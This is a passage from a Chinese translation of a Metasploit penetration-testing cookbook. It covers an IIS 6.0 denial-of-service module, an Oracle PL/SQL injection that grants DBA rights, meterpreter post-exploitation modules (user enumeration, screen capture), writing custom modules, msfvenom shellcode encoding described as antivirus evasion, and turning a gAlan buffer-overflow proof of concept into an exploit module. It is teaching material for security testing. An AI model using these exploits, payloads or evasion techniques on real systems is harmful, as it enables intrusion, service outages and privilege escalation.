---- --------------- -------- -----------
RHOST yes The target address
RPORT 80 yes The target port
URI /page.asp yes URI to request
VHOST no The virtual host name to..
msf auxiliary(ms10_065_ii6_asp_dos) > set RHOST 192.168.56.1
RHOST => 192.168.56.1
msf auxiliary(ms10_065_ii6_asp_dos) > run
[*] Attacking http://192.168.56.1:80/page.asp

一旦使用 run 命令执行模块，它将通过在端口 80 上发送 HTTP 请求，以 URI 为 page.asp 来攻击目标 IIS 服务器。模块的成功执行将导致 IIS 服务器完全拒绝服务。

它是如何工作的...

让我们快速看一下这两个漏洞。通过注入一个自定义的 PL/SQL 函数来利用 Oracle 数据库漏洞，该函数在 SYS 上下文中执行，并将用户“scott”的权限提升为管理员。

考虑以下示例函数：

CREATE OR REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2 authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; COMMIT; RETURN ''; END; /

现在将此函数注入到易受攻击的过程中将导致用户 scott 的权限提升。

SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;

上述代码行解释了注入过程。对 Oracle 软件中漏洞的详细分析超出了本书的范围。

现在移动 DOS 攻击模块，它利用 IIS 6.0 服务器中的漏洞。攻击者发送一个包含超过 40000 个请求参数的 POST 请求，并以application/x-www-form-urlencoded编码类型发送。

以下是服务模块的一部分脚本：

while(1)
begin
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1.1\r\n"
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"
sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"
sploit << "Content-Length:#{length} \r\n\r\n"
sploit << payload
sock.put(sploit)
#print_status("DoS packet sent.")
disconnect
rescue Errno::ECONNRESET
next
end
end

如您所见，脚本生成了超过 40000 的有效负载大小。然后，在端口 80 上建立连接，向 IIS 服务器发送 HTTP 请求。一旦服务器渲染了请求，它将崩溃并停止工作，除非重新启动。

后期利用模块

到目前为止，我们已经在后渗透阶段使用了 meterpreter 的各种功能。然而，我们还有一个单独的专用模块列表，可以增强我们的渗透测试体验。由于它们是后渗透模块，我们将需要与目标建立一个活动会话。我们可以使用前几章描述的任何方法来访问我们的目标。

准备工作

后模块是一组最有趣和方便的功能的集合，您可以在渗透测试中使用。让我们快速分析其中一些。在这里，我们使用一个未打补丁的 Windows 7 机器作为我们的目标，并且有一个活动的 meterpreter 会话。

如何做...

您可以在modules/post/windows/gather中找到后模块。让我们从一个简单的enum_logged_on_users模块开始。这个后模块将列出 Windows 机器中当前登录的用户。

我们将通过我们的活动 meterpreter 会话执行模块。还要记住使用getsystem命令提升权限，以避免在执行模块时出现任何错误。

meterpreter > getsystem
...got system (via technique 4).
meterpreter > run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502 C:\Users\DARKLORD
S-1-5-21-235 C:\Users\Winuser

模块的成功执行向我们展示了两个表。第一个表反映了当前登录的用户，第二个表反映了最近登录的用户。在执行模块时，请遵循正确的路径。我们使用run命令来执行模块，因为它们都是以 Ruby 脚本的形式存在，所以 meterpreter 可以轻松识别它。

让我们再举一个例子。有一个有趣的后模块可以捕获目标桌面的截图。当我们需要知道是否有任何活动用户时，这个模块就会很有用。我们将使用的模块是screen_spy.rb:

meterpreter > run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds

您可能已经注意到后模块可以是多么简单和有用。在未来，Metasploit 的开发人员将更多地专注于后模块，而不是 meterpreter，因为它极大地增强了渗透测试的功能。因此，如果您希望为 Metasploit 社区做出贡献，那么您可以致力于后模块。

工作原理...

我们可以在modules/post/windows/gather中分析enum_logged_on_user.rb和screen_spy.rb的脚本。这可以帮助我们了解这些模块的功能。

理解模块构建的基础知识

到目前为止，我们已经看到了模块的效用以及它们可以为框架增加的功能。为了掌握框架，了解模块的工作和构建是至关重要的。这将帮助我们根据我们的需求快速扩展框架。在接下来的几个示例中，我们将看到如何使用 Ruby 脚本构建我们自己的模块并将其导入框架。

准备工作

要开始构建我们自己的模块，我们需要基本的 Ruby 脚本知识。我们已经讨论了在 meterpreter 脚本中使用和实现 Ruby。在这个示例中，我们将看到如何使用 Ruby 来开始为框架构建模块。这个过程与 meterpreter 脚本非常相似。不同之处在于使用一组预定义的行，这些行将需要以使框架了解模块的要求和性质。因此，让我们讨论一些模块构建的基本要求。

如何做...

框架中的每个模块都以 Ruby 脚本的形式存在，并位于模块目录中。根据我们的需求，我们将不得不导入一些框架库。让我们继续前进，看看我们如何在脚本中导入库并设计一个完全功能的模块。

工作原理...

让我们从模块构建的一些基础知识开始。为了使我们的模块对框架可读，我们将不得不导入 MSF 库：

require 'msf/core'

这是每个脚本的首要行。这一行表示该模块将包括 Metasploit 框架的所有依赖项和功能。

class Metasploit3 < Msf::Auxiliary

这行定义了一个类，该类继承了辅助家族的属性。辅助模块可以导入多种功能，如扫描、建立连接、使用数据库等：

include Msf::

include语句可用于将框架的特定功能包含到我们自己的模块中。例如，如果我们正在构建一个扫描器模块，那么我们可以将其包含为：

include Msf::Exploit::Remote::TCP

这行将在模块中包含远程 TCP 扫描的功能。这行将从 Metasploit 库中提取主要扫描模块库：

def initialize
super(
'Name' => 'TCP Port Scanner',
'Version' => '$Revision$',
'Description' => 'Enumerate open TCP services',
'Author' => [ darklord ],
'License' => MSF_LICENSE
)

脚本的下几行向我们介绍了模块的名称、版本、作者、描述等：

register_options(
[
OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-900)", "1-10000"]),
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), self.class)
deregister_options('RPORT')

脚本的下几行用于初始化脚本的值。标记为true的选项是模块基本所需的选项，而标记为no的选项是可选的。这些值可以在执行模块时传递/更改。

这些是您在每个模块中都会找到的一些常见脚本行。分析内置脚本是了解脚本构建的最佳方法。有一些文档可供学习模块构建。学习的最佳方法是掌握 Ruby 脚本编写，并分析现有模块。在下一个示例中，我们将从头开始分析一个完整的模块。

分析现有模块

现在我们已经在上一个示例中建立了一些关于模块构建的背景，我们的下一步将是分析现有模块。强烈建议您查看现有模块的脚本，以便更深入地了解模块和平台开发。

准备工作

我们将在这里分析一个简单的 ftp 模块，以便更深入地了解模块构建。

我们将从上一个示例中离开的地方继续。我们已经在上一个示例中讨论了模块的基本模板，所以在这里我们将从脚本的主体开始。

如何做...

我们将分析 ftp 匿名访问模块。您可以在以下位置找到主要脚本：pentest/exploits/framework3/modules/auxiliary/scanner/ftp/anonymous.rb

这是您参考的完整脚本：

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Anonymous FTP Access Detection',
'Version' => '$Revision: 14774 $',
'Description' => 'Detect anonymous (read/write) FTP server access.',
'References' =>
[
['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],
],
'Author' => 'Matteo Cantoni <goony[at]nothink.org>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
], self.class)
end
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
if res
write_check = send_cmd( ['MKD', dir] , true)
if (write_check and write_check =~ /²/)
send_cmd( ['RMD', dir] , true)
print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})")
access_type = "rw"
else
print_status("#{target_host}:#{rport} Anonymous READ (#{banner})")
access_type = "ro"
end
report_auth_info(
:host => target_host,
:port => rport,
:sname => 'ftp',
:user => datastore['FTPUSER'],
:pass => datastore['FTPPASS'],
:type => "password_#{access_type}",
:active => true
)
end
disconnect
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError, ::IOError
end
end
end

让我们转到下一节，详细分析脚本。

工作原理...

让我们从分析主要脚本主体开始，以了解其工作原理：

def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)

此函数用于开始连接。res 变量保存布尔值 true 或 false。connect_login函数是模块用于与远程主机建立连接的特定函数。根据连接的成功或失败，布尔值存储在 res 中。

if res
write_check = send_cmd( ['MKD', dir] , true)
if (write_check and write_check =~ /²/)
send_cmd( ['RMD', dir] , true)
print_status("#{target_host}:#{rport} Anonymous READ/WRITE (#{banner})")
access_type = "rw"
else
print_status("#{target_host}:#{rport} Anonymous
access_type="ro"

一旦连接建立，模块会尝试检查匿名用户是否具有读/写权限。write_check变量检查写操作是否可能。然后检查操作是否成功。根据权限的状态，在屏幕上打印消息。如果写操作失败，则状态将打印为ro或read-only:

report_auth_info(
:host => target_host,
:port => rport,
:sname => 'ftp',
:user => datastore['FTPUSER'],
:pass => datastore['FTPPASS'],
:type => "password_#{access_type}",
:active => true
)
end

下一个函数用于报告授权信息。它反映了重要的参数，如主机、端口、用户、密码等。这些是我们使用show options命令时出现的值，因此这些值是用户相关的。

这是一个简单演示，演示了一个简单模块在框架内的功能。您可以相应地更改现有脚本以满足您的需求。这使得平台非常适合开发。正如我所说，了解更多关于模块构建的最佳方法是通过分析现有脚本。

在下一个示例中，我们将看到如何构建我们自己的模块并将其传递到框架中。

构建您自己的后渗透模块

现在我们已经涵盖了足够的关于构建模块的背景知识。在这里，我们将看到一个示例，说明我们如何构建自己的模块并将其添加到框架中。构建模块非常方便，因为它们将使我们有能力根据我们的需求扩展框架。

如何做...

让我们构建一个小的后渗透模块，该模块将枚举目标计算机上安装的所有应用程序。由于这是一个后渗透模块，我们需要一个受损的目标才能执行该模块。

要开始构建模块，我们将首先导入框架库并包含所需的依赖项：

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Installed Application Enumeration',
'Description' => %q{ This module will enumerate all installed applications },
'License' => MSF_LICENSE,
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end

脚本以包含 Metasploit 核心库开始。然后，我们建立了一个扩展 Msf::Post 模块属性的类。

接下来，我们创建initialize函数，该函数用于初始化和定义模块属性和描述。这种基本结构在几乎所有模块中都是相同的。这里需要注意的是，我们已经包含了'rex'和'registry'库。这将使框架更容易理解我们在模块中的需求。

现在，我们的下一步将是创建一个可以显示我们提取结果的表格。我们有一个特殊的库Rex::Ui::Text，可以用于此任务。我们将不得不定义不同的列：

def app_list
tbl = Rex::Ui::Text::Table.new(
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' =>
[
"Name",
"Version"
])
appkeys = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
]
apps = []
appkeys.each do |keyx86|
found_keys = registry_enumkeys(keyx86)
if found_keys
found_keys.each do |ak|
apps << keyx86 +"\\" + ak
end
end
end

脚本主体以构建表格并提供不同的列名开始。然后，创建一个单独的注册表位置数组，该数组将用于枚举应用程序列表。该数组将包含包含有关目标计算机上安装的应用程序的信息的不同注册表条目。应用程序信息维护在一个名为apps的单独数组中。

然后，我们通过运行一个循环来开始枚举过程，该循环查看存储在appskey数组中的不同注册表位置：

t = []
while(not apps.empty?)
1.upto(16) do
t << framework.threads.spawn("Module(#{self.refname})", false, apps.shift) do |k|
begin
dispnm = registry_getvaldata("#{k}","DisplayName")
dispversion = registry_getvaldata("#{k}","DisplayVersion")
tbl << [dispnm,dispversion] if dispnm and dispversion
rescue
end
end

脚本的下一行用不同的值填充表格的相应列。脚本使用内置函数registry_getvaldata，该函数获取值并将其添加到表中：

results = tbl.to_s
print_line("\n" + results + "\n")
p = store_loot("host.applications", "text/plain", session, results, "applications.txt", "Installed Applications")
print_status("Results stored in: #{p}")
end
def run
print_status("Enumerating applications installed on #{sysinfo['Computer']}")
app_list
end
end

脚本的最后几行用于将信息存储在名为applications.txt的单独文本文件中。脚本使用store_loot函数将完整的表格存储在文本文件中。

最后，在屏幕上显示输出，指出文件已创建，并将结果存储在其中。

下一步将是将完整的程序存储在相应的目录中。您必须确保选择正确的目录来存储您的模块。这将有助于框架清楚地理解模块的实用性，并将维护一个层次结构。在更新模块时保持层次结构将有助于准确跟踪模块的目标。例如，将 Internet Explorer 模块保留在modules/exploits/windows/browser目录下，将有助于我们轻松地在此位置找到任何新的或现有的浏览器模块。

要确定模块存储位置，您应该查看以下要点：

模块类型
模块执行的操作
受影响的软件或操作系统

Metasploit 遵循存储模块的“通用到专用”的层次结构格式。它从模块类型开始，例如利用模块或辅助模块。然后选择一个通用名称，例如受影响的操作系统的名称。然后创建更专业的功能，例如模块用于浏览器。最后，使用最具体的命名，例如模块针对的浏览器的名称。

让我们考虑我们的模块。这个模块是一个后渗透模块，用于枚举 Windows 操作系统并收集有关系统的信息。因此，我们的模块应该遵循存储的约定。

因此，我们的目标文件夹应该是modules/post/windows/gather/。

你可以用你想要的名称和.a.rb 扩展名保存模块。让我们把它保存为enum_applications.rb。

它的工作原理是...

一旦我们把模块保存在它的首选目录中，下一步就是执行它，看看它是否正常工作。我们已经在之前的示例中看到了模块执行的过程。模块名称用于在 MSF 终端中执行它：

msf> use post/windows/gather/enum_applications
msf post(enum_applications) > show options
Module options (post/windows/gather/enum_applcations)
Name Current Setting Required Description
SESSION yes The session..

这是一个小例子，说明了如何构建和添加自己的模块到框架中。如果你想构建好的模块，你肯定需要对 Ruby 脚本有扎实的知识。你也可以通过发布你的模块来为 Metasploit 社区做出贡献，并让其他人受益。

第八章：使用利用

在本章中，我们将涵盖：

利用模块结构
常见的利用混合
使用 msfvenom
将利用转换为 Metasploit 模块
移植和测试新的利用模块
使用 Metasploit 进行模糊测试
编写一个简单的 FileZilla FTP 模糊器

介绍

让我们从正式介绍利用开始这一章。利用可以是一段软件、一段数据或一系列命令，利用另一种软件中的漏洞或错误执行用户预期的指令。这些用户预期的指令可能会导致受影响软件的异常行为。利用在渗透测试中起着至关重要的作用，因为它可以为目标系统提供一个简单的入口。

到目前为止，我们已经广泛使用利用的力量进行渗透测试。这里需要注意的一点是，我们不能直接将任何独立的概念验证或利用代码直接用于 Metasploit 框架。我们必须将其转换为框架可理解的模块。这个过程与开发辅助模块类似，但有一些额外的字段。本章将涵盖您在框架内使用利用时需要了解的每一个细节。我们不会涵盖与开发利用相关的方面，因为这是一个独立的研究领域。在这里，我们将使用现有的利用概念验证，并看看如何将其添加到框架中。我们还将学习一些重要的混合技术，可以简化将利用转换为 Metasploit 模块的过程。最后，我们将涵盖一些关于模糊测试模块的配方。让我们继续前进吧。

利用模块结构

理解利用模块结构非常重要，因为它将帮助我们正确分析不同的利用模块。由于 Metasploit 框架是一个开源项目，其发展取决于社区的贡献。来自全球各地的开发人员将各种漏洞的概念转化为 Metasploit 模块，以便每个人都可以使用。因此，您也可以通过将新发现的漏洞转换为模块来为社区做出贡献。此外，可能会出现需要特定漏洞但框架中没有的情况。了解利用模块结构将帮助您轻松地将漏洞转换为模块。

准备工作

让我们从理解框架内利用的模块化结构开始这个配方。它与辅助结构类似，但有一些特定的字段。您可以在/pentest/exploits/framework3目录中找到利用模块。让我们分析一下 MSF 中的利用结构。

如何做…

正如我们之前所说，利用模块的格式与辅助模块类似，但有一些特定的添加：

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

该模块以将 MSF 核心库包含到脚本中开始，并声明一个类，该类扩展了与利用相关的属性。在这个例子中，Metasploit3类扩展了Remote Exploit库。此外，脚本还包括其他库，如 TCP：

def initialize(info = {})
super(update_info(info,
'Name' => '',
'Description')

然后，我们有initialize函数，用于初始化有关模块的不同值和内容定义。此函数的一些主要定义包括Name，Description，Author，Version等：

register_options(
[
Opt::RPORT(7777),
], self.class)
end

然后，我们有脚本的注册选项部分，负责提供脚本的基本和默认值。这些值可以根据用户的需求进行更改。到目前为止，它与辅助模块非常相似。不同之处在于定义exploit()函数：

def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end

这是模块的主要利用主体，包含 shell 代码或利用模式。这个函数的内容因利用而异。可能存在于远程利用中的一些关键特性列在函数体中。connect()用于与目标打开远程连接。它是在Remote::TCP库中定义的函数。有效载荷也是利用主体的一个重要部分，它有助于建立反向连接。我们还可以根据需要在利用主体中定义处理程序。

可选地，您还可以声明一个漏洞测试函数check()，用于验证目标是否存在漏洞。它验证除有效载荷之外的所有选项。

这是对 Metasploit 的利用模块的基本介绍。在后面的配方中，我们将讨论与框架中的利用相关的一些核心概念。

它是如何工作的...

我们刚刚分析的利用模块结构是 Metasploit 使事情变得可理解的方式。考虑函数def initialize()。这部分帮助模块捡起常见的利用定义。同样，register_options()被 Metasploit 用来捡起不同的参数或为利用模块分配默认参数值。这就是模块化架构变得方便的地方。在本章的后面，我们将看到如何将现有的利用代码转换为 Metasploit 模块。

常见的利用混合物

混合物是 Ruby 语言中包含功能到模块的一个全面机制。混合物提供了一种在单一继承语言中实现多重继承的方式，比如 Ruby。在利用模块中使用混合物可以帮助调用利用所需的不同函数。在这个配方中，我们将学习一些重要的 Metasploit 利用混合物。

如何做...

让我们快速看一下一些常见的利用混合物。然后，我们将看到它在现有的利用模块中的实现。

Exploit::Remote::TCP: 这个混合物为模块提供了 TCP 功能。它可以用来建立 TCP 连接。connect()和disconnect()函数分别负责建立和终止连接。它需要不同的参数，比如RHOST, RPORT, SSL。
Exploit::Remote::UDP: 这个混合物用于模块中的 UDP 功能。UDP 通常被视为比 TCP 更快的连接模式，因此在处理模块时也可以是一个方便的选项。这个混合物进一步包括Rex::Socket::UDP，它消除了担心与目标建立套接字连接的开销。
Exploit::Remote::DCERPC: 这个混合物提供了与远程机器上的 DCE/RPC 服务进行交互的实用方法。这个混合物的方法通常在利用的上下文中非常有用。这个混合物扩展了 TCP 混合物。dcerpc_call(), dcerpc_bind()等等是 DCE/RPC 混合物的一些有用函数。
Exploit::Remote::SMB: 这个混合物定义了可以帮助与远程目标上的 SMB 服务进行通信的函数。smb_login(), smb_create()等等是这个混合物中存在的一些有用的函数。
Exploit::BruteTargets: 这是一个有趣的混合物，用于对目标进行暴力破解。它使用exploit_target(target)函数来接收远程目标 IP 并执行暴力破解。这个混合物可以很容易地在不同的暴力破解利用中扩展。
Exploit::Remote::Ftp: 这个混合物可以用来利用远程目标上的 FTP 服务。混合物包括Remote::TCP以便与远程目标建立连接。它使用connect()函数，该函数接收RHOST和RPORT的值，以便与远程系统上的 FTP 服务器连接。
Exploit::Remote::MSSQL:这个混合物有助于与远程数据库查询。Mssql_ping()函数查询数据库的可用性，并将 ping 响应存储为哈希。Mssql_xpcmdshell()函数用于使用xp_cmdshell执行系统命令。在处理与 MS SQL 相关的利用时，这个混合物非常方便。
Exploit::Capture:这个混合物有助于嗅探网络中流动的数据包。open_pcap()函数用于设置设备以捕获通过它流动的数据包。这个混合物需要机器上安装了 pcap。这个混合物的两个重要函数包括inject(pkt="", pcap=self.capture)和inject_reply()。前者负责将数据包注入到网络设备中，而后者负责报告由设备返回的结果数据包，具体取决于注入的数据包。

这些是一些在框架内使用利用模块时非常方便的重要利用混合物。使用混合物可以减少重复编写相同模块的开销。这就是为什么模块化架构非常灵活的原因，因为它促进了代码重用。

它是如何工作的...

如前所述，混合物用于在单继承语言（如 Ruby）中提供多重继承。我们的意思是，根据需要，我们可以在任何模块中调用不同的功能。例如，如果我们想在我们的利用模块中建立 TCP 连接，就不需要为此定义一个完整的函数。我们可以简单地在我们的模块中调用混合物Exploit::Remote::TCP，并利用它的功能。

还有更多...

让我们列出一些更重要的混合物。

一些更多的混合物

除了之前提到的混合物之外，框架中还有许多其他关键的混合物。这些包括fileformat, imap, java, smtp, she等等。您可以在lib/msf/core/exploit中找到这些混合物。

使用 msfvenom

我们已经在第四章中阅读了有关mefencode和msfpayload的内容，客户端利用和防病毒绕过。让我们进行一个小小的回顾。msfpayload用于从有效负载生成二进制，而msfencode用于使用不同的编码技术对二进制进行编码。在这里，我们将讨论另一个 Metasploit 工具，它结合了两者。这个工具在生成可以悄悄执行的利用方面起着重要作用。

准备工作

要开始我们的msfvenom实验，启动终端窗口并传递msfvenom -h命令。

如何做...

让我们看看各种可用选项：

root@bt:~# msfvenom -h
Usage: /opt/framework/msf3/msfvenom [options]
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom..
-l, --list [module_type] List a module type example: payloads, encoders, nops, all
-n, --nopsled [length] Prepend a nopsled of [length] size on to the payload
-f, --format [format] Format to output results in: raw, ruby, rb, perl, pl, bash..
-e, --encoder [encoder] The encoder to use
-a, --arch [architecture] The architecture to use
-s, --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\x00\xff'
-i, --iterations [count] The number of times to encode the payload
-c, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as..
-h, --help Show this message

有一些有趣的参数需要注意。-n参数创建有效负载大小的 NOP 滑坡。另一个有趣的参数是-b，它使我们有能力避免利用中的常见字符，如\x00。这在规避防病毒程序方面非常有帮助。其余的参数与我们可以在msfpayload和msfencode中找到的参数类似。

注意

NOP 滑坡，NOP 滑梯或 NOP 坡是一系列 NOP（无操作）指令，旨在“滑动”CPU 的指令执行流到最终期望的目的地。

它是如何工作的...

要使用msfvenom，我们将不得不传递有效负载以及编码样式。让我们在终端窗口上执行这个任务：

root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)
buf =
"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +

注意已传递的不同参数。-b参数的存在将避免在 shell 代码中使用\x00（空字节）。我们可以在我们的利用程序中使用这个 shell 代码。

msfvenom可以是一个非常方便的工具，可以快速生成使用框架中可用的不同有效负载的 shell 代码。这些 shell 代码可以在利用代码中实现，以便在利用漏洞后与攻击者提供反向连接。

将利用转换为 Metasploit 模块

到目前为止，我们已经使用利用模块来 compromise 我们的目标。在这个配方中，我们将把我们的模块使用经验提升到一个新的水平。我们将尝试使用可用的概念验证来开发一个完整的利用模块。将利用转换为模块的知识对于将任何新的利用转换为框架模块并执行渗透测试而不必等待 Metasploit 团队的更新是必不可少的。此外，并不是每个利用都会以框架模块的形式可用。因此，让我们继续进行配方，并看看我们如何使用可用的概念验证构建我们自己的利用模块。

准备工作

首先，让我们选择任何可以转换为模块的利用。让我们考虑可以从www.exploit-db.com/exploits/10339下载的 gAlan 零日利用。

gAlan是一个音频处理工具（在线和离线），适用于 X Windows 和 Win32。它允许您以模块化的方式通过链接表示原始音频处理组件的图标来构建合成器、效果链、混音器、序列器、鼓机等。

对于 gAlan 的利用只有在受害者使用该应用程序并且攻击者事先知道这一点时才会起作用。因此，攻击者必须知道受害者机器上安装了哪些应用程序。

如何做...

在开始利用转换之前，有必要了解一些关于堆栈溢出攻击的知识。

在软件中，堆栈溢出发生在调用堆栈上使用了太多内存时。调用堆栈是包含有限内存量的软件的运行时堆栈，通常在程序开始时确定。调用堆栈的大小取决于许多因素，包括编程语言、机器架构、多线程和可用内存量。当程序尝试使用的空间超过调用堆栈上可用的空间时，堆栈被认为溢出，通常导致程序崩溃。基本上，ESP、EIP和EAX是在利用期间经常受到攻击的寄存器。

ESP: 指向堆栈顶部
EIP: 指向下一条指令的位置
EAX: 要执行的指令

由于在堆栈中所有寄存器都是线性存储的，我们需要知道EIP寄存器的确切缓冲区大小，以便溢出它将给我们EAX和随后执行有效载荷。

一旦我们有了利用的概念验证，下一步将是尽可能收集有关利用的信息。让我们仔细看看概念验证。前几行包括存储在$shellcode变量中的 shellcode。这可以使用框架中可用的任何有效载荷使用msfpayload或msfvenom生成。

$magic = "Mjik";
$addr = 0x7E429353; # JMP ESP @ user32,dll
$filename = "bof.galan";
$retaddr = pack('l', $addr);
$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;

主要的利用代码以$magic开头，其中包含一个四字节的字符串。然后，我们有$addr变量，其中包含ESP堆栈指针的位置。然后我们有$filename变量，其中包含要在后期创建的文件名。$retaddr包含堆栈指针将指向并导致溢出后利用代码执行的返回地址的位置。最后，我们有有效载荷的执行，负责利用和 shellcode 执行。

我们从利用中知道我们的 shellcode 最多可以达到 700 字节。我们有效载荷的总长度为 1214 字节。这些信息将有助于构建我们的模块。

我们可以使用重复的返回地址，也可以找到EIP被覆盖时的大小。Metasploit 有一个名为pattern_create.rb的优秀工具，可以帮助找到EIP被覆盖的确切位置。这个工具生成一串唯一模式的字符串，可以传递给利用代码，并通过调试器，我们可以找到EIP中存储的字符串模式。让我们创建一个 5000 个字符的字符串：

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

现在，编辑利用脚本，将$payload替换为另一个测试变量$junk，并将 5000 个字符的字符串复制到这个变量中。现在，使用这个脚本测试应用程序，并检查EIP中存储的模式。我假设您已经了解了反向和调试应用程序的基础知识。假设存储在EIP中的字符串模式是"234abc"。现在我们将使用另一个 Metasploit 工具称为pattern_offset.rb来计算我们传递的字符串中存在这个模式的位置：

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc 5000
1032

因此，要传递的总字节数，以便获得EIP的确切位置，为 1032。

现在我们已经收集了关于利用的足够信息，我们准备将其转换为 Metasploit 模块。

它是如何工作的...

让我们开始构建我们的模块。脚本的第一行将是导入库并创建父类。然后，我们将定义包含有关利用的信息并注册选项的initialize()函数：

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack overflow in gAlan 0.2.1
By creating a specially crafted galan file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'original by Jeremy Brown' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
'StackAdjustment' => -3500,
Metasploit moduleworking},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3
],
'Privileged' => false,
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
], self.class)
end

到目前为止，一切都很简单明了。转折点在于定义exploit()函数。让我们看看如何做到这一点。

我们将从原始利用脚本的前四个字节开始，即$magic = "Mjik";

它将在我们的模块中被替换为sploit = "Mjik"。

然后，我们继续构建我们的缓冲区。由于我们已经找到了EIP被覆盖的位置，我们可以将重复的返回地址值替换为：

sploit << rand_text_alpha_upper(1028);
sploit << [target.ret].pack('V');

然后，我们将添加我们的 nop 滑块。因此，利用脚本的这部分将更改为模块中的以下行：

sploit << "\x90" * 45

最后，我们构建完整的 shellcode：

sploit << payload.encoded

最后，我们可以将这些脚本行组合在exploit()函数下。

def exploit
sploit = "Mjik"
sploit << rand_text_alpha_upper(1028)
sploit << [target.ret].pack('V')
sploit << "\x90" * 45
sploit << payload.encoded
galan = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(galan)
end

这是一个简单明了的演示，说明了我们如何将现有的利用转换为 Metasploit 模块。这个过程的难度水平可能因利用而异。了解更多的最佳方法是查看 Metasploit 库中可用的利用模块。在下一个示例中，我们将学习如何将这个利用模块移植到框架中，以便我们可以将其用于渗透测试。

移植和测试新的利用模块

在上一个示例中，我们学习了如何使用现有的概念来开发 Metasploit 的完整利用模块。在这个示例中，我们将把模块保存在一个合适的位置，然后测试它，看看是否一切顺利。

准备工作

